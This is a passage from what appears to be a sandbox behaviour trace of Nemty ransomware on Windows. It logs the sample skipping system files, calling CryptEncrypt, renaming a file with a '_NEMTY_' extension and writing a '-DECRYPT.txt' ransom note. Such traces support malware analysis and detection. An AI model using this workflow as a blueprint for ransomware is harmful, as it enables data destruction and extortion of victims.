lpString2="IO.SYS") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="boot.ini") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="boot.ini") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="AUTOEXEC.BAT") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="ntuser.dat") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="desktop.ini") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="CONFIG.SYS") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="RECYCLER") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="BOOTSECT.BAK") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="bootmgr") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="programdata") returned -1 [0152.457] lstrcmpiW (lpString1="14.png", lpString2="appdata") returned -1 [0152.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="14.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0152.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="14.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14.png", lpUsedDefaultChar=0x0) returned 6 [0152.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="14.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0152.457] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="14.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14.png", lpUsedDefaultChar=0x0) returned 6 [0152.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="14.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0152.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="14.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14.png", lpUsedDefaultChar=0x0) returned 6 [0152.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="14.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0152.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="14.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="14.png", lpUsedDefaultChar=0x0) returned 6 [0152.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0152.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0152.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0152.458] Sleep (dwMilliseconds=0x5) [0152.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8703f0, dwHighDateTime=0x1d561e8)) [0152.472] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe8703f0, dwHighDateTime=0x1d561e8)) [0152.472] GetLastError () returned 0x5 [0152.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0152.472] GetLastError () returned 0x5 [0152.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.472] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0152.472] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0152.472] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0152.472] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0152.473] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0152.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0152.473] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="W1FHHJuio/z+R2YMnv4yiC4bbEvGqc0OpKvsNmezZt9bOxX/YpkxHKLQhSEv81lD\r\nhu2a9XoGfq38D0bi8p+fqekFJnCSmljitfsngkFOrh9nluapHPW/l44KCBTvpwFA\r\n9X5jWIqixgSFHcUCM9nz6ZYRZ7MHemezf53bvecd7Kwz/kPrqLSeizjMVUsvhd2u\r\nKzwPNO+tODWhq9nN4Ns9A2xoLQdbSy3cy3aa1+oPulEkZf0UXh0NucJgYumTAicN\r\nfwzzbSQZSZg9DhByJvSpx8pRs8PlLvGPekj+iE2Af5Pz36uhG16quaGOjnbp45EG\r\n+keicWM+PWp7H8oMrZXeag==\r\n", pcchString=0x653e91c) returned 1 [0152.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0152.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0152.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0152.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0152.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0152.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0152.473] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\14.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.473] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0152.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0152.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.473] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.492] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.492] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.492] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.501] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.510] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.510] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.520] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.529] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.529] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.548] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0152.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0152.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0152.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0152.578] CloseHandle (hObject=0xffffffff) returned 0 [0152.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0152.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0152.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0152.578] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0152.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0152.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0152.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0152.578] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0152.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0152.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\14.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\14.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\14.png._nemty_kgobjgd_")) returned 0 [0152.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0152.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0152.578] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0152.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0152.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0152.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0152.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0152.579] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80555c5a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80555c5a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="144DPI", cAlternateFileName="")) returned 1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2=".") returned 1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="..") returned 1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="...") returned 1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="windows") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="$RECYCLE.BIN") returned 1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="rsa") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="NTDETECT.COM") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="ntldr") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="MSDOS.SYS") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="IO.SYS") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="boot.ini") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="boot.ini") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="AUTOEXEC.BAT") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="ntuser.dat") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="desktop.ini") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="CONFIG.SYS") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="RECYCLER") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="BOOTSECT.BAK") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="bootmgr") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="programdata") returned -1 [0152.579] lstrcmpiW (lpString1="144DPI", lpString2="appdata") returned -1 [0152.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="144DPI", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0152.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="144DPI", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="144DPI", lpUsedDefaultChar=0x0) returned 6 [0152.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="144DPI", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0152.579] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="144DPI", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="144DPI", lpUsedDefaultChar=0x0) returned 6 [0152.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0152.579] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0152.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0152.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0152.579] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0152.579] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0152.580] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0152.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0152.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0152.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0152.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0152.580] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340188 [0152.580] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0152.580] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0152.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0152.582] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0152.582] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0152.583] CloseHandle (hObject=0x254) returned 1 [0152.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0152.583] HeapFree (in: hHeap=0x4f90000, 